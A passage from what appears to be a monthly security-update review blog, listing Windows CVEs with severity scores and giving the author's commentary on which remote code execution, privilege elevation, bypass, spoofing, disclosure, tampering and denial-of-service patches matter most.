CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54122 Windows GDI+ Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-50483 Windows Graphics Component Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58609 Windows Graphics Component Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50391 Windows Group Policy Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50310 Windows Human Interface Device Information Disclosure Vulnerability Important 4.7 No No Info
CVE-2026-50485 Windows Hyper-V Denial of Service Vulnerability Important 4.5 No No DoS
CVE-2026-54129 Windows Hyper-V Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50315 Windows Image Acquisition Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58534 Windows Input Method Editor (IME) Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50490 Windows Installer Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58540 Windows Installer Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50425 Windows Internal System User Profile Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50293 Windows Internal Task Bar Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49167 Windows Kernel Elevation of Privilege Vulnerability Important 4.7 No No EoP
CVE-2026-49173 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54132 Windows Kernel Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-49795 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Important 9.3 No No EoP
CVE-2026-49808 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50354 Windows Kernel Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50332 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50377 Windows Kernel Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-50390 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50423 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50397 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50436 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50399 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50459 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50477 Windows Kernel Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50478 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50484 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50673 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58532 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50294 Windows Kernel Information Disclosure Vulnerability Important 6.2 No No Info
CVE-2026-50316 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50419 Windows Kernel Information Disclosure Vulnerability Important 3.3 No No Info
CVE-2026-50463 Windows Kernel Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50475 Windows Kernel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50429 Windows Kernel Information Disclosure Vulnerability Important 8.2 No No Info
CVE-2026-58614 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58545 Windows Kernel Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-58602 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50393 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50396 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50378 Windows Key Guard Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50303 Windows Key Guard Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-40378 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-49799 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50371 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58544 Windows Management Services Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50404 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50358 Windows Media Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50336 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50398 Windows Media Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50414 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50379 Windows Media Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50433 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50676 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50677 Windows Media Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34349 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50394 Windows Media Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50415 Windows Media Information Disclosure Vulnerability Important 5.3 No No Info
CVE-2026-57083 Windows Media Photo Codec Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-54115 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 9.8 No No RCE
CVE-2026-50505 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50342 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 8.8 No No EoP
CVE-2026-56183 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-56187 Windows MIDI Service Module Elevation of Privileges Vulnerability Important 7 No No EoP
CVE-2026-58635 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50500 Windows Netlogon Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50476 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50450 Windows Network Connections Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56650 Windows Network File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56649 Windows Network File System Remote Code Execution Vulnerability Important 5.9 No No RCE
CVE-2026-50470 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-50496 Windows Network Policy Server SNMP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-56194 Windows NFS Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56648 Windows NFS Server Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50337 Windows Notification Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49789 Windows NTFS Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50412 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50422 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50672 Windows NTFS Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-56175 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56182 Windows NTFS Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50341 Windows NTFS Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-58640 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-49184 Windows NTFS Remote Code Execution Vulnerability Important 8.4 No No RCE
CVE-2026-49797 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50308 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50386 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50309 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50313 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50388 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50448 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50471 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50461 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50417 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50482 Windows NTFS Remote Code Execution Vulnerability Important 7.3 No No RCE
CVE-2026-50494 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50344 Windows OLE Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50686 Windows OLE Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-50335 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50317 Windows Operating Systems Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54987 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50435 Windows Overlay Filter Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50409 Windows Overlay Filter Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40400 Windows PowerShell Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-49166 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55004 Windows Print Configuration Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50499 Windows Print Spooler Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50383 Windows Print Spooler Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-57085 Windows Print Spooler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50469 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50434 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50339 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50430 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50334 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-44800 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50363 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50431 Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50372 Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50666 Windows Remote Access Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56647 Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50330 Windows Remote Desktop Client Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-50376 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50504 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58533 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58535 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58546 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-58539 Windows Remote Desktop Client Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-55003 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57979 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50445 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50497 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-54126 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-57982 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-50369 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-58626 Windows Remote Desktop Services Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-55014 Windows Remote Help Defense Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50318 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50407 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50357 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50441 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50668 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Important 6.8 No No EoP
CVE-2026-54109 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49792 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49793 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50362 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50492 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-50501 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-58530 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-49791 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-50451 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.1 No No EoP
CVE-2026-57096 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50323 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50452 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50348 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50345 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50322 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50340 Windows Runtime Elevation of Privilege Vulnerability Important 8.5 No No EoP
CVE-2026-50410 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50449 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50460 Windows Runtime Elevation of Privilege Vulnerability Important 8.1 No No EoP
CVE-2026-50403 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50385 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50413 Windows Runtime Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50457 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50486 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50503 Windows Runtime Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54125 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58527 Windows Runtime Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50373 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50679 Windows Search Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-44806 Windows Secure Channel Denial of Service Vulnerability Important 5.3 No No DoS
CVE-2026-50681 Windows Secure Channel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56186 Windows Secure Channel Information Disclosure Vulnerability Important 8.1 No No Info
CVE-2026-50367 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58619 Windows Sensor Data Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50311 Windows Server Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50328 Windows Server Update Service (WSUS) Tampering Vulnerability Important 7.5 No No Tampering
CVE-2026-58531 Windows SMB Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-54997 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-49801 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50690 Windows SMB Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-56168 Windows SMB Server Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-50360 Windows SMB Server Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-57089 Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability Important 7.5 No No RCE
CVE-2026-50333 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50298 Windows Spaceport.sys Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49171 Windows Speech Runtime Elevation of Privilege Vulnerability Important 7.5 No No EoP
CVE-2026-49170 Windows StateRepository API Server file Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58526 Windows Storage Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50299 Windows Storage Spaces Direct Remote Code Execution Vulnerability Important 6.8 No No RCE
CVE-2026-57968 Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-57973 Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability Important 6.3 No No Tampering
CVE-2026-50418 Windows System Secure Feature Bypass Vulnerability Important 5.1 No No SFB
CVE-2026-50306 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50307 Windows TCP/IP Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49177 Windows TCP/IP Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50669 Windows Telephony Server Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-50350 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-50326 Windows Unified Consent System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49790 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-50498 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58547 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability Important 5.5 No No EoP
CVE-2026-49794 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 4.6 No No Info
CVE-2026-50453 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.1 No No Info
CVE-2026-58528 Windows USB Audio Class Driver Information Disclosure Vulnerability Important 6.8 No No Info
CVE-2026-50321 Windows USB Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50479 Windows USB Hub Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55000 Windows USB Print Driver Elevation of Privilege Vulnerability Important 6.4 No No EoP
CVE-2026-54991 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54996 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49802 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49806 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-50674 Windows USB Print Driver Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-49804 Windows USB Video Driver Elevation of Privilege Vulnerability Important 6.6 No No EoP
CVE-2026-50454 Windows User Interface Core Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49176 Windows WalletService Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-49800 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50480 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-56173 Windows WebView Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-58632 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54107 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-54986 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54112 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-54114 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50670 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-50688 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50687 Windows Win32k Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-56176 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-58628 Windows Wireless Network Manager Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-50295 Windows Zero Trust DNS Security Feature Bypass Vulnerability Important 5.5 No No SFB
CVE-2026-50509 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-55945 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 4.2 No No Info
CVE-2026-45488 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 5.4 No No Spoofing
CVE-2026-45489 Microsoft Edge (Chromium-based) Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-55145 Outlook Copilot Tampering Vulnerability Moderate 6.3 No No Tampering
CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability Moderate 8.3 No No Spoofing
CVE-2026-58597 Microsoft Edge (Chromium-based) Spoofing Vulnerability Low 4.3 No No Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

 

 

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

 

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

